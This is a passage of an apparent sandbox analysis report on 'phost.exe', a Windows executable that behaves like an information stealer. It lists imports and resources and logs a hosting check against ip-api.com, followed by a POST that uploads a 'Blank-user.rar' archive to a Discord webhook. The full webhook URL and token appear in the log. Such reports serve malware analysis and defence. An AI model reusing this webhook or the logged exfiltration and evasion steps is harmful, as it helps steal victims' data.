.reloc	0x4b000	0x764	0x800	816c68eeb419ee2c08656c31c06a0fff	False	0.5576171875	data	5.2809528666624175	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	ZLIB Complexity
RT_ICON	0x47250	0x1c1	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced	1.024498886414254
RT_ICON	0x47414	0x20c	PNG image data, 24 x 24, 8-bit/color RGBA, non-interlaced	1.0209923664122138
RT_ICON	0x47620	0x273	PNG image data, 32 x 32, 8-bit/color RGBA, non-interlaced	1.0175438596491229
RT_ICON	0x47894	0x434	PNG image data, 48 x 48, 8-bit/color RGBA, non-interlaced	1.0102230483271375
RT_ICON	0x47cc8	0x53e	PNG image data, 64 x 64, 8-bit/color RGBA, non-interlaced	1.0081967213114753
RT_ICON	0x48208	0x9b9	PNG image data, 128 x 128, 8-bit/color RGBA, non-interlaced	1.004419445560466
RT_ICON	0x48bc4	0xdc3	PNG image data, 256 x 256, 8-bit/color RGBA, non-interlaced	0.930456996877661
RT_GROUP_ICON	0x49988	0x68	data	0.7403846153846154
RT_VERSION	0x499f0	0x37c	data	0.4742152466367713
RT_MANIFEST	0x49d6c	0x50d	XML 1.0 document, ASCII text	0.4694508894044857

Imports

DLL	Import
USER32.dll	CreateWindowExW, ShutdownBlockReasonCreate, MsgWaitForMultipleObjects, ShowWindow, DestroyWindow, RegisterClassW, DefWindowProcW, PeekMessageW, DispatchMessageW, TranslateMessage, PostMessageW, GetMessageW, MessageBoxW, MessageBoxA, SystemParametersInfoW, DestroyIcon, SetWindowLongPtrW, GetWindowLongPtrW, GetClientRect, InvalidateRect, ReleaseDC, GetDC, DrawTextW, GetDialogBaseUnits, EndDialog, DialogBoxIndirectParamW, MoveWindow, SendMessageW
COMCTL32.dll
KERNEL32.dll	GetACP, IsValidCodePage, GetStringTypeW, GetFileAttributesExW, SetEnvironmentVariableW, FlushFileBuffers, GetCurrentDirectoryW, LCMapStringW, CompareStringW, FlsFree, GetOEMCP, GetCPInfo, GetModuleHandleW, MulDiv, FormatMessageW, GetLastError, GetModuleFileNameW, LoadLibraryExW, SetDllDirectoryW, CreateSymbolicLinkW, GetProcAddress, GetEnvironmentStringsW, GetCommandLineW, GetEnvironmentVariableW, ExpandEnvironmentStringsW, DeleteFileW, FindClose, FindFirstFileW, FindNextFileW, GetDriveTypeW, RemoveDirectoryW, GetTempPathW, CloseHandle, QueryPerformanceCounter, QueryPerformanceFrequency, WaitForSingleObject, Sleep, GetCurrentProcess, TerminateProcess, GetExitCodeProcess, CreateProcessW, GetStartupInfoW, FreeLibrary, LocalFree, SetConsoleCtrlHandler, K32EnumProcessModules, K32GetModuleFileNameExW, CreateFileW, FindFirstFileExW, GetFinalPathNameByHandleW, MultiByteToWideChar, WideCharToMultiByte, FlsSetValue, FreeEnvironmentStringsW, GetProcessHeap, GetTimeZoneInformation, HeapSize, HeapReAlloc, WriteConsoleW, SetEndOfFile, CreateDirectoryW, RtlCaptureContext, RtlLookupFunctionEntry, RtlVirtualUnwind, UnhandledExceptionFilter, SetUnhandledExceptionFilter, IsProcessorFeaturePresent, GetCurrentProcessId, GetCurrentThreadId, GetSystemTimeAsFileTime, InitializeSListHead, IsDebuggerPresent, RtlUnwindEx, SetLastError, EnterCriticalSection, LeaveCriticalSection, DeleteCriticalSection, InitializeCriticalSectionAndSpinCount, TlsAlloc, TlsGetValue, TlsSetValue, TlsFree, EncodePointer, RaiseException, RtlPcToFileHeader, GetCommandLineA, GetFileInformationByHandle, GetFileType, PeekNamedPipe, SystemTimeToTzSpecificLocalTime, FileTimeToSystemTime, ReadFile, GetFullPathNameW, SetStdHandle, GetStdHandle, WriteFile, ExitProcess, GetModuleHandleExW, HeapFree, GetConsoleMode, ReadConsoleW, SetFilePointerEx, GetConsoleOutputCP, GetFileSizeEx, HeapAlloc, FlsAlloc, FlsGetValue
ADVAPI32.dll	OpenProcessToken, GetTokenInformation, ConvertStringSecurityDescriptorToSecurityDescriptorW, ConvertSidToStringSidW
GDI32.dll	SelectObject, DeleteObject, CreateFontIndirectW

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 13, 2024 08:41:47.230992079 CET	49731	80	192.168.2.4	208.95.112.1
Dec 13, 2024 08:41:47.350903988 CET	80	49731	208.95.112.1	192.168.2.4
Dec 13, 2024 08:41:47.351010084 CET	49731	80	192.168.2.4	208.95.112.1
Dec 13, 2024 08:41:47.351142883 CET	49731	80	192.168.2.4	208.95.112.1
Dec 13, 2024 08:41:47.470921993 CET	80	49731	208.95.112.1	192.168.2.4
Dec 13, 2024 08:41:48.512181997 CET	80	49731	208.95.112.1	192.168.2.4
Dec 13, 2024 08:41:48.520612001 CET	49731	80	192.168.2.4	208.95.112.1
Dec 13, 2024 08:41:48.641140938 CET	80	49731	208.95.112.1	192.168.2.4
Dec 13, 2024 08:41:48.642779112 CET	49731	80	192.168.2.4	208.95.112.1
Dec 13, 2024 08:41:49.208304882 CET	80	49731	208.95.112.1	192.168.2.4
Dec 13, 2024 08:41:49.208439112 CET	49731	80	192.168.2.4	208.95.112.1
Dec 13, 2024 08:41:49.328583956 CET	80	49731	208.95.112.1	192.168.2.4
Dec 13, 2024 08:42:26.797750950 CET	49744	80	192.168.2.4	208.95.112.1
Dec 13, 2024 08:42:26.917622089 CET	80	49744	208.95.112.1	192.168.2.4
Dec 13, 2024 08:42:26.917743921 CET	49744	80	192.168.2.4	208.95.112.1
Dec 13, 2024 08:42:26.917862892 CET	49744	80	192.168.2.4	208.95.112.1
Dec 13, 2024 08:42:27.037640095 CET	80	49744	208.95.112.1	192.168.2.4
Dec 13, 2024 08:42:28.033027887 CET	80	49744	208.95.112.1	192.168.2.4
Dec 13, 2024 08:42:28.074959993 CET	49744	80	192.168.2.4	208.95.112.1
Dec 13, 2024 08:42:28.354499102 CET	49745	443	192.168.2.4	162.159.137.232
Dec 13, 2024 08:42:28.354542971 CET	443	49745	162.159.137.232	192.168.2.4
Dec 13, 2024 08:42:28.354615927 CET	49745	443	192.168.2.4	162.159.137.232
Dec 13, 2024 08:42:28.385469913 CET	49745	443	192.168.2.4	162.159.137.232
Dec 13, 2024 08:42:28.385550022 CET	443	49745	162.159.137.232	192.168.2.4
Dec 13, 2024 08:42:29.765423059 CET	443	49745	162.159.137.232	192.168.2.4
Dec 13, 2024 08:42:29.766010046 CET	49745	443	192.168.2.4	162.159.137.232
Dec 13, 2024 08:42:29.766048908 CET	443	49745	162.159.137.232	192.168.2.4
Dec 13, 2024 08:42:29.767750025 CET	443	49745	162.159.137.232	192.168.2.4
Dec 13, 2024 08:42:29.767828941 CET	49745	443	192.168.2.4	162.159.137.232
Dec 13, 2024 08:42:29.769478083 CET	49745	443	192.168.2.4	162.159.137.232
Dec 13, 2024 08:42:29.769583941 CET	443	49745	162.159.137.232	192.168.2.4
Dec 13, 2024 08:42:29.769779921 CET	49745	443	192.168.2.4	162.159.137.232
Dec 13, 2024 08:42:29.769790888 CET	443	49745	162.159.137.232	192.168.2.4
Dec 13, 2024 08:42:29.769848108 CET	49745	443	192.168.2.4	162.159.137.232
Dec 13, 2024 08:42:29.769877911 CET	443	49745	162.159.137.232	192.168.2.4
Dec 13, 2024 08:42:29.770032883 CET	49745	443	192.168.2.4	162.159.137.232
Dec 13, 2024 08:42:29.770070076 CET	443	49745	162.159.137.232	192.168.2.4
Dec 13, 2024 08:42:29.770374060 CET	49745	443	192.168.2.4	162.159.137.232
Dec 13, 2024 08:42:29.770423889 CET	443	49745	162.159.137.232	192.168.2.4
Dec 13, 2024 08:42:29.770591021 CET	49745	443	192.168.2.4	162.159.137.232
Dec 13, 2024 08:42:29.770611048 CET	443	49745	162.159.137.232	192.168.2.4
Dec 13, 2024 08:42:29.770633936 CET	49745	443	192.168.2.4	162.159.137.232
Dec 13, 2024 08:42:29.770653963 CET	443	49745	162.159.137.232	192.168.2.4
Dec 13, 2024 08:42:29.770682096 CET	49745	443	192.168.2.4	162.159.137.232
Dec 13, 2024 08:42:29.770701885 CET	443	49745	162.159.137.232	192.168.2.4
Dec 13, 2024 08:42:29.770797968 CET	49745	443	192.168.2.4	162.159.137.232
Dec 13, 2024 08:42:29.770812035 CET	49745	443	192.168.2.4	162.159.137.232
Dec 13, 2024 08:42:29.770814896 CET	443	49745	162.159.137.232	192.168.2.4
Dec 13, 2024 08:42:29.770824909 CET	49745	443	192.168.2.4	162.159.137.232
Dec 13, 2024 08:42:29.770827055 CET	443	49745	162.159.137.232	192.168.2.4
Dec 13, 2024 08:42:29.770839930 CET	443	49745	162.159.137.232	192.168.2.4
Dec 13, 2024 08:42:29.770878077 CET	49745	443	192.168.2.4	162.159.137.232
Dec 13, 2024 08:42:29.770890951 CET	443	49745	162.159.137.232	192.168.2.4
Dec 13, 2024 08:42:29.771024942 CET	49745	443	192.168.2.4	162.159.137.232
Dec 13, 2024 08:42:29.771037102 CET	443	49745	162.159.137.232	192.168.2.4
Dec 13, 2024 08:42:29.771054983 CET	49745	443	192.168.2.4	162.159.137.232
Dec 13, 2024 08:42:29.771063089 CET	443	49745	162.159.137.232	192.168.2.4
Dec 13, 2024 08:42:29.771074057 CET	49745	443	192.168.2.4	162.159.137.232
Dec 13, 2024 08:42:29.771080971 CET	443	49745	162.159.137.232	192.168.2.4
Dec 13, 2024 08:42:29.771095991 CET	49745	443	192.168.2.4	162.159.137.232
Dec 13, 2024 08:42:29.771111965 CET	443	49745	162.159.137.232	192.168.2.4
Dec 13, 2024 08:42:29.771131992 CET	49745	443	192.168.2.4	162.159.137.232
Dec 13, 2024 08:42:29.771141052 CET	443	49745	162.159.137.232	192.168.2.4
Dec 13, 2024 08:42:29.771150112 CET	49745	443	192.168.2.4	162.159.137.232
Dec 13, 2024 08:42:29.771155119 CET	443	49745	162.159.137.232	192.168.2.4
Dec 13, 2024 08:42:29.771167040 CET	49745	443	192.168.2.4	162.159.137.232
Dec 13, 2024 08:42:29.771173954 CET	443	49745	162.159.137.232	192.168.2.4
Dec 13, 2024 08:42:29.771190882 CET	49745	443	192.168.2.4	162.159.137.232
Dec 13, 2024 08:42:29.771198034 CET	443	49745	162.159.137.232	192.168.2.4
Dec 13, 2024 08:42:29.771219015 CET	49745	443	192.168.2.4	162.159.137.232
Dec 13, 2024 08:42:29.771228075 CET	443	49745	162.159.137.232	192.168.2.4
Dec 13, 2024 08:42:29.771240950 CET	49745	443	192.168.2.4	162.159.137.232
Dec 13, 2024 08:42:29.771254063 CET	443	49745	162.159.137.232	192.168.2.4
Dec 13, 2024 08:42:29.771372080 CET	49745	443	192.168.2.4	162.159.137.232
Dec 13, 2024 08:42:29.771380901 CET	443	49745	162.159.137.232	192.168.2.4
Dec 13, 2024 08:42:29.771401882 CET	49745	443	192.168.2.4	162.159.137.232
Dec 13, 2024 08:42:29.771414995 CET	49745	443	192.168.2.4	162.159.137.232
Dec 13, 2024 08:42:29.771425962 CET	49745	443	192.168.2.4	162.159.137.232
Dec 13, 2024 08:42:29.771486044 CET	49745	443	192.168.2.4	162.159.137.232
Dec 13, 2024 08:42:29.771509886 CET	49745	443	192.168.2.4	162.159.137.232
Dec 13, 2024 08:42:29.771554947 CET	49745	443	192.168.2.4	162.159.137.232
Dec 13, 2024 08:42:29.771593094 CET	49745	443	192.168.2.4	162.159.137.232
Dec 13, 2024 08:42:29.771635056 CET	49745	443	192.168.2.4	162.159.137.232
Dec 13, 2024 08:42:29.771687031 CET	49745	443	192.168.2.4	162.159.137.232
Dec 13, 2024 08:42:29.771694899 CET	49745	443	192.168.2.4	162.159.137.232
Dec 13, 2024 08:42:29.771720886 CET	49745	443	192.168.2.4	162.159.137.232
Dec 13, 2024 08:42:29.771750927 CET	49745	443	192.168.2.4	162.159.137.232
Dec 13, 2024 08:42:29.771769047 CET	49745	443	192.168.2.4	162.159.137.232
Dec 13, 2024 08:42:29.771790981 CET	49745	443	192.168.2.4	162.159.137.232
Dec 13, 2024 08:42:29.771852970 CET	49745	443	192.168.2.4	162.159.137.232
Dec 13, 2024 08:42:29.771902084 CET	49745	443	192.168.2.4	162.159.137.232
Dec 13, 2024 08:42:29.771960974 CET	49745	443	192.168.2.4	162.159.137.232
Dec 13, 2024 08:42:29.771986008 CET	49745	443	192.168.2.4	162.159.137.232
Dec 13, 2024 08:42:29.819338083 CET	443	49745	162.159.137.232	192.168.2.4
Dec 13, 2024 08:42:29.819545031 CET	49745	443	192.168.2.4	162.159.137.232
Dec 13, 2024 08:42:29.819628954 CET	443	49745	162.159.137.232	192.168.2.4
Dec 13, 2024 08:42:29.819679976 CET	49745	443	192.168.2.4	162.159.137.232
Dec 13, 2024 08:42:29.819699049 CET	443	49745	162.159.137.232	192.168.2.4
Dec 13, 2024 08:42:29.819740057 CET	49745	443	192.168.2.4	162.159.137.232
Dec 13, 2024 08:42:29.819758892 CET	443	49745	162.159.137.232	192.168.2.4
Dec 13, 2024 08:42:29.819789886 CET	49745	443	192.168.2.4	162.159.137.232
Dec 13, 2024 08:42:29.819804907 CET	443	49745	162.159.137.232	192.168.2.4
Dec 13, 2024 08:42:29.819828033 CET	49745	443	192.168.2.4	162.159.137.232
Dec 13, 2024 08:42:29.819840908 CET	443	49745	162.159.137.232	192.168.2.4
Dec 13, 2024 08:42:29.819909096 CET	49745	443	192.168.2.4	162.159.137.232
Dec 13, 2024 08:42:29.819909096 CET	49745	443	192.168.2.4	162.159.137.232
Dec 13, 2024 08:42:29.819942951 CET	49745	443	192.168.2.4	162.159.137.232
Dec 13, 2024 08:42:29.819983006 CET	49745	443	192.168.2.4	162.159.137.232
Dec 13, 2024 08:42:29.820015907 CET	49745	443	192.168.2.4	162.159.137.232
Dec 13, 2024 08:42:29.867343903 CET	443	49745	162.159.137.232	192.168.2.4
Dec 13, 2024 08:42:31.282226086 CET	443	49745	162.159.137.232	192.168.2.4
Dec 13, 2024 08:42:31.282422066 CET	443	49745	162.159.137.232	192.168.2.4
Dec 13, 2024 08:42:31.282615900 CET	49745	443	192.168.2.4	162.159.137.232
Dec 13, 2024 08:42:31.283201933 CET	49745	443	192.168.2.4	162.159.137.232
Dec 13, 2024 08:42:31.293102980 CET	49744	80	192.168.2.4	208.95.112.1
Dec 13, 2024 08:42:31.413587093 CET	80	49744	208.95.112.1	192.168.2.4
Dec 13, 2024 08:42:31.413657904 CET	49744	80	192.168.2.4	208.95.112.1

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 13, 2024 08:41:45.249258041 CET	58138	53	192.168.2.4	1.1.1.1
Dec 13, 2024 08:41:45.465985060 CET	53	58138	1.1.1.1	192.168.2.4
Dec 13, 2024 08:41:47.088649988 CET	53248	53	192.168.2.4	1.1.1.1
Dec 13, 2024 08:41:47.226730108 CET	53	53248	1.1.1.1	192.168.2.4
Dec 13, 2024 08:42:26.657067060 CET	63721	53	192.168.2.4	1.1.1.1
Dec 13, 2024 08:42:26.796803951 CET	53	63721	1.1.1.1	192.168.2.4
Dec 13, 2024 08:42:28.215502977 CET	57493	53	192.168.2.4	1.1.1.1
Dec 13, 2024 08:42:28.352855921 CET	53	57493	1.1.1.1	192.168.2.4

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Dec 13, 2024 08:41:45.249258041 CET	192.168.2.4	1.1.1.1	0x214b	Standard query (0)	blank-c9yfy.in	A (IP address)	IN (0x0001)	false
Dec 13, 2024 08:41:47.088649988 CET	192.168.2.4	1.1.1.1	0xe0a4	Standard query (0)	ip-api.com	A (IP address)	IN (0x0001)	false
Dec 13, 2024 08:42:26.657067060 CET	192.168.2.4	1.1.1.1	0x17f8	Standard query (0)	ip-api.com	A (IP address)	IN (0x0001)	false
Dec 13, 2024 08:42:28.215502977 CET	192.168.2.4	1.1.1.1	0x6fb6	Standard query (0)	discord.com	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Dec 13, 2024 08:41:45.465985060 CET	1.1.1.1	192.168.2.4	0x214b	Name error (3)	blank-c9yfy.in	none	none	A (IP address)	IN (0x0001)	false
Dec 13, 2024 08:41:47.226730108 CET	1.1.1.1	192.168.2.4	0xe0a4	No error (0)	ip-api.com		208.95.112.1	A (IP address)	IN (0x0001)	false
Dec 13, 2024 08:42:26.796803951 CET	1.1.1.1	192.168.2.4	0x17f8	No error (0)	ip-api.com		208.95.112.1	A (IP address)	IN (0x0001)	false
Dec 13, 2024 08:42:28.352855921 CET	1.1.1.1	192.168.2.4	0x6fb6	No error (0)	discord.com		162.159.137.232	A (IP address)	IN (0x0001)	false
Dec 13, 2024 08:42:28.352855921 CET	1.1.1.1	192.168.2.4	0x6fb6	No error (0)	discord.com		162.159.135.232	A (IP address)	IN (0x0001)	false
Dec 13, 2024 08:42:28.352855921 CET	1.1.1.1	192.168.2.4	0x6fb6	No error (0)	discord.com		162.159.138.232	A (IP address)	IN (0x0001)	false
Dec 13, 2024 08:42:28.352855921 CET	1.1.1.1	192.168.2.4	0x6fb6	No error (0)	discord.com		162.159.128.233	A (IP address)	IN (0x0001)	false
Dec 13, 2024 08:42:28.352855921 CET	1.1.1.1	192.168.2.4	0x6fb6	No error (0)	discord.com		162.159.136.232	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

discord.com

ip-api.com

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49731	208.95.112.1	80	3444	C:\Users\user\Desktop\phost.exe

Timestamp	Bytes transferred	Direction	Data
Dec 13, 2024 08:41:47.351142883 CET	117	OUT	GET /line/?fields=hosting HTTP/1.1 Host: ip-api.com Accept-Encoding: identity User-Agent: python-urllib3/2.2.3
Dec 13, 2024 08:41:48.512181997 CET	175	IN	HTTP/1.1 200 OK Date: Fri, 13 Dec 2024 07:41:48 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 6 Access-Control-Allow-Origin: * X-Ttl: 60 X-Rl: 44 Data Raw: 66 61 6c 73 65 0a Data Ascii: false

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49744	208.95.112.1	80	3444	C:\Users\user\Desktop\phost.exe

Timestamp	Bytes transferred	Direction	Data
Dec 13, 2024 08:42:26.917862892 CET	116	OUT	GET /json/?fields=225545 HTTP/1.1 Host: ip-api.com Accept-Encoding: identity User-Agent: python-urllib3/2.2.3
Dec 13, 2024 08:42:28.033027887 CET	381	IN	HTTP/1.1 200 OK Date: Fri, 13 Dec 2024 07:42:27 GMT Content-Type: application/json; charset=utf-8 Content-Length: 204 Access-Control-Allow-Origin: * X-Ttl: 60 X-Rl: 44 Data Raw: 7b 22 73 74 61 74 75 73 22 3a 22 73 75 63 63 65 73 73 22 2c 22 63 6f 75 6e 74 72 79 22 3a 22 55 6e 69 74 65 64 20 53 74 61 74 65 73 22 2c 22 72 65 67 69 6f 6e 4e 61 6d 65 22 3a 22 4e 65 77 20 59 6f 72 6b 22 2c 22 74 69 6d 65 7a 6f 6e 65 22 3a 22 41 6d 65 72 69 63 61 2f 4e 65 77 5f 59 6f 72 6b 22 2c 22 72 65 76 65 72 73 65 22 3a 22 73 74 61 74 69 63 2d 63 70 65 2d 38 2d 34 36 2d 31 32 33 2d 31 38 39 2e 63 65 6e 74 75 72 79 6c 69 6e 6b 2e 63 6f 6d 22 2c 22 6d 6f 62 69 6c 65 22 3a 66 61 6c 73 65 2c 22 70 72 6f 78 79 22 3a 66 61 6c 73 65 2c 22 71 75 65 72 79 22 3a 22 38 2e 34 36 2e 31 32 33 2e 31 38 39 22 7d Data Ascii: {"status":"success","country":"United States","regionName":"New York","timezone":"America/New_York","reverse":"static-cpe-8-46-123-189.centurylink.com","mobile":false,"proxy":false,"query":"8.46.123.189"}

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49745	162.159.137.232	443	3444	C:\Users\user\Desktop\phost.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-13 07:42:29 UTC	302	OUT	POST /api/webhooks/1267176433306829014/YhEVi7QXrkO9uMJodvR8Fp2e6uTZlqxB6sVXodhGTQI4MPsm1-wFNZP3qTm1buU6tOMG HTTP/1.1 Host: discord.com Accept-Encoding: identity Content-Length: 759276 User-Agent: python-urllib3/2.2.3 Content-Type: multipart/form-data; boundary=d86edcfe5e1bf83a434b434f5a1b347a
2024-12-13 07:42:29 UTC	16384	OUT	Data Raw: 2d 2d 64 38 36 65 64 63 66 65 35 65 31 62 66 38 33 61 34 33 34 62 34 33 34 66 35 61 31 62 33 34 37 61 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 42 6c 61 6e 6b 2d 6a 6f 6e 65 73 2e 72 61 72 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6f 63 74 65 74 2d 73 74 72 65 61 6d 0d 0a 0d 0a 52 61 72 21 1a 07 01 00 de eb b5 67 21 04 00 00 01 0f 67 77 84 d7 b5 56 9b 51 26 88 79 21 75 78 ed 36 be 0b 94 7f 82 68 30 a2 18 b5 6e 9c 56 60 00 ba d2 ca a8 d0 a2 a3 55 c4 4a 72 45 94 0e d5 e7 ac 44 24 c0 3c 4b 6d bd 5c 6a 6e ce 8f b5 36 79 b9 4b 84 e4 c4 09 1c 72 22 6b b4 4b 03 8a ef dc 91 f2 79 40 14 18 8f Data Ascii: --d86edcfe5e1bf83a434b434f5a1b347aContent-Disposition: form-data; name="file"; filename="Blank-user.rar"Content-Type: application/octet-streamRar!g!gwVQ&y!ux6h0nV`UJrED$<Km\jn6yKr"kKy@
2024-12-13 07:42:29 UTC	16384	OUT	Data Raw: 9a de 61 ac 51 e2 84 6d 67 99 e8 50 b9 e0 61 f0 7a 2f cf 50 12 cf 6b 8c 84 e8 63 86 b7 e3 57 7f dd aa 22 90 bb 80 72 87 20 c9 c3 20 43 ac ca 9d f1 ac 30 3a 6f 09 49 e6 48 ad 07 4a 7a b6 f5 59 ed 6b fd c4 16 4a ba 9f cf e3 f2 9a 5b b1 4f bd 8c 61 51 f2 16 fa cc 00 b0 06 01 ac 61 7e 72 63 6a c4 5a db a4 67 d0 0a 9c 2e bb a0 16 2d 77 8a 0b 2b 8a 18 65 7f 28 48 ad 5c 99 3f 89 d7 2d 34 fd 3c ba 1b da 17 b2 1e e4 15 e9 c4 5b 4e 16 7c 08 3b 1f 3b 94 1e 40 a6 58 b6 70 f2 58 1a c4 0a 70 f5 93 79 95 6a 3d 4b ee 27 c4 6e 52 3d 54 69 72 d6 28 61 f9 23 68 f8 bd bc 4f 2b e1 10 4e 15 2e f6 87 54 f5 0b 46 e6 70 7a f0 c5 38 df 31 04 d0 b3 8c a6 b4 c2 01 a2 32 85 3c be 0f 5c c6 68 0d ed 3c c2 f4 85 b6 6a e4 e4 98 87 39 89 ce ea 5c a3 f8 e9 88 e6 bb 4b 92 38 43 49 b2 e2 87 Data Ascii: aQmgPaz/PkcW"r C0:oIHJzYkJ[OaQa~rcjZg.-w+e(H\?-4<[N\|;;@XpXpyj=K'nR=Tir(a#hO+N.TFpz812<\h<j9\K8CI
2024-12-13 07:42:29 UTC	16384	OUT	Data Raw: 06 71 80 05 1d 32 29 b8 ae b5 72 cc b4 a1 81 49 96 83 7f 63 85 94 cf 63 e8 7b ea b6 e0 31 9f b6 fa a3 e2 60 da ef 2f 5d e2 0f 3d f0 dc eb 2b 28 36 c7 17 2b 97 82 bf 97 f7 f3 d1 86 2d 78 be c2 36 e1 e8 b9 8f 3e a8 2a 64 2c 4c 61 33 e2 53 46 59 5a 18 ad a2 49 1d af dd 55 6f 9e 73 ca d9 10 cb 4a 84 16 5f 5a 35 09 d5 dc be 38 99 2f b9 91 ab 0f c1 23 78 34 32 f7 51 ad e8 4e 35 c2 54 e9 0a 7d 6e a4 cd 2d a2 61 a4 e9 d7 ce db 1a 2f 77 3e 7a 2f b2 c5 27 77 f4 fc a1 ad 33 d5 03 37 4d 80 30 30 eb a6 dc 23 51 11 a7 87 e1 8d 4f 47 df d1 61 2e 97 6e 46 83 ec ef 44 5d ae ce d0 e6 23 3c 8b fe a0 6b 73 5d 91 24 02 0b b1 79 36 62 fb 25 81 38 c2 ea 43 ed d4 d4 b1 cc 12 09 2b 7c 0e 59 10 21 7a 2e 07 f1 8e 0a 8e 76 ac 10 ce 67 dc c0 df 1c 4a 78 1e 9c b9 9d f5 dc 95 5d b8 e0 Data Ascii: q2)rIcc{1`/]=+(6+-x6>*d,La3SFYZIUosJ_Z58/#x42QN5T}n-a/w>z/'w37M00#QOGa.nFD]#<ks]$y6b%8C+\|Y!z.vgJx]
2024-12-13 07:42:29 UTC	16384	OUT	Data Raw: a8 9f 5b 57 ea 84 8f 9b 96 53 7e 1d e9 9e 7d 43 b0 21 a9 01 15 81 90 b8 23 e6 63 72 ce ca 8b 3d fd 79 ca 50 25 11 37 31 3e 96 b3 b3 e6 9c fa db af ff 16 d6 3a 17 24 0a 24 b0 d5 45 7c 03 7a be 6f 28 95 6a ed 1d e0 58 57 78 4a fc 5b 17 7f 08 90 c5 84 73 35 cc 6d 71 05 b7 c5 de a3 51 ca ff b9 c4 dc 47 98 0f 87 8e a0 64 07 d8 b9 1e 04 0a 17 a7 06 0e d9 19 85 6b fb c6 fc 33 45 a2 2d 1d cf 2a ff 14 be 2c df 2b be 5f 71 d1 7b e3 a2 48 45 b4 8c 31 ef 1e 90 04 b4 43 34 5e 59 0e 6c 13 60 90 e3 41 2c 36 1e ca 5c 01 71 d8 a2 69 25 8f f3 8c 82 00 f3 05 75 de a4 2e c8 c3 b5 e5 a6 22 9a 8e 04 c9 8d 67 ad 36 81 1b 67 1e 26 b7 7d 19 43 80 1c a7 49 5b 8a 9f 70 32 c0 2f 62 3b 3e 0e 7c b9 8e 7b f7 b8 a3 20 98 51 65 ed db 8d ed b0 4b 20 f1 00 5d 13 cb 75 ca c9 a0 c7 59 4d 0f Data Ascii: [WS~}C!#cr=yP%71>:$$E\|zo(jXWxJ[s5mqQGdk3E-*,+_q{HE1C4^Yl`A,6\qi%u."g6g&}CI[p2/b;>\|{ QeK ]uYM
2024-12-13 07:42:29 UTC	16384	OUT	Data Raw: 17 cb 5d 67 4e ef 28 a1 d1 8f 66 66 4d 79 40 5a 8b a3 a5 48 bf e1 e4 33 27 e8 dd 05 e8 64 20 6c 06 75 2e 45 c8 2c ef c2 6d 44 fb d3 73 ca f8 aa cf 34 09 d0 aa 78 31 ed 90 84 13 c9 9b d2 36 88 58 c5 07 0d 6b af b8 73 03 aa 70 92 22 9b d6 2a 8f e4 09 e4 e0 6f 43 19 4c 83 59 b5 20 31 40 2e 2f 4d ec c9 e7 eb fd f5 78 74 0c cd ca 98 ed e4 78 c1 ec de d5 79 1e a4 18 a7 74 56 39 ad d0 8e 61 18 ab a0 71 7a 67 cd 6d 8d 0a 84 cb 20 89 67 78 df b2 32 37 cd e4 90 59 70 8f c6 29 fe 66 a1 da 14 79 7c d9 1a 3f e8 58 ed a7 6c 8c d9 44 61 54 cd 2c f0 ac 20 c7 b6 e4 80 22 6c 02 91 56 de 74 f6 1b f4 78 f4 fd 86 71 d4 86 31 1a 38 b1 ec 16 dc b8 ca 25 6c 47 9e 82 5e 95 39 f1 a7 b9 1d 89 3f 36 a1 36 b5 87 e8 7c 1b 94 dc 87 a9 2e b6 28 31 a8 82 d1 7f db 83 63 b9 1f 16 d4 c8 2c Data Ascii: ]gN(ffMy@ZH3'd lu.E,mDs4x16Xksp"*oCLY 1@./MxtxytV9aqzgm gx27Yp)fy\|?XlDaT, "lVtxq18%lG^9?66\|.(1c,
2024-12-13 07:42:29 UTC	16384	OUT	Data Raw: 85 a8 bd b6 e1 09 ca 25 61 e8 14 7a 3a 70 c0 2a 88 ee 48 0d b5 52 ca ed 2c 73 e1 16 58 16 eb d8 b3 1e 88 a4 fb 41 5d f9 af 08 12 40 14 83 94 d3 aa 0a 95 7e c2 79 fa 56 a1 e1 9f ed f0 3e 50 0d 24 98 ff 2d 53 b6 d2 4f 23 fb d8 0d fe 4e 23 c8 60 8d 8b 7c d6 79 b1 8a 61 84 04 bf 44 09 5f a7 33 e6 a0 d5 86 a1 63 15 ff 53 d0 37 47 22 5c 88 59 3d f9 63 74 6b 09 4c 6a e4 37 3a cf 6a f8 f8 46 95 f6 4b 3b 62 ab ed 62 11 5d 62 a5 07 6e 7d a7 ad 91 63 93 a4 b9 c9 ae 5d 54 95 d9 5f 99 ea 1f 15 aa 65 60 07 6b 43 2b 6d 4c c1 c5 d1 49 4e 86 0e 91 9e 69 df df 58 c0 0e b9 31 c9 4e a7 88 fc 70 68 f1 3f 85 83 63 c9 20 ce b7 e9 44 37 05 54 6a cb 92 f8 3c 95 94 63 af 15 64 5c 55 60 73 35 00 32 63 bc 5e c8 08 17 82 28 c0 d3 d4 ec 48 1b ff 9f 0a 36 37 8b e2 3d 28 4a 32 fc bc 77 Data Ascii: %az:p*HR,sXA]@~yV>P$-SO#N#`\|yaD_3cS7G"\Y=ctkLj7:jFK;bb]bn}c]T_e`kC+mLINiX1Nph?c D7Tj<cd\U`s52c^(H67=(J2w
